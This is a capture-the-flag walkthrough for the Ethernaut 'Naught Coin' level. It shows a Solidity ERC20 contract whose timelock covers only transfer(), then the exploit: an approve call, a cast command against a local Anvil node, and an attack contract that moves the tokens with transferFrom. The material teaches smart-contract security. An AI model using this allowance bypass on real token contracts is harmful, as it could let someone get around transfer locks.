Level 15 - Naught Coin ⏺⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
Exploit
While the tokens can't be transferred directly by the owner, the owner can allow a different address to transfer the tokens for them.
Deploy the Exploit contract.
In the browser console, approve the newly deployed exploit contract address.
myBalance = await contract.balanceOf("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266")
await contract.approve("0x76d05F58D14c0838EC630C8140eDC5aB7CD159Dc", myBalance)
Invoke the attack to transfer the tokens.
cast send <DEPLOYED_EXPLOIT_CONTRACT_ADDRESS> "attack()" \
--rpc-url ${ANVIL_RPC_URL} --private-key ${ANVIL_PRIVATE_KEY}
make anvil-exploit-level-15
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
// ================================================================
// │ LEVEL 15 - NAUGHT COIN │
// ================================================================
interface ERC20 {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
contract AttackContract {
address targetContractAddress;
constructor(address _targetContractAddress) {
targetContractAddress = _targetContractAddress;
}
function attack() public {
uint256 allowance = ERC20(targetContractAddress).allowance(msg.sender, address(this));
// Transfer all tokens to this contract address
ERC20(targetContractAddress).transferFrom(msg.sender, address(this), allowance);
}
}
Submit instance... 🥳
Completion Message
Notes
Last updated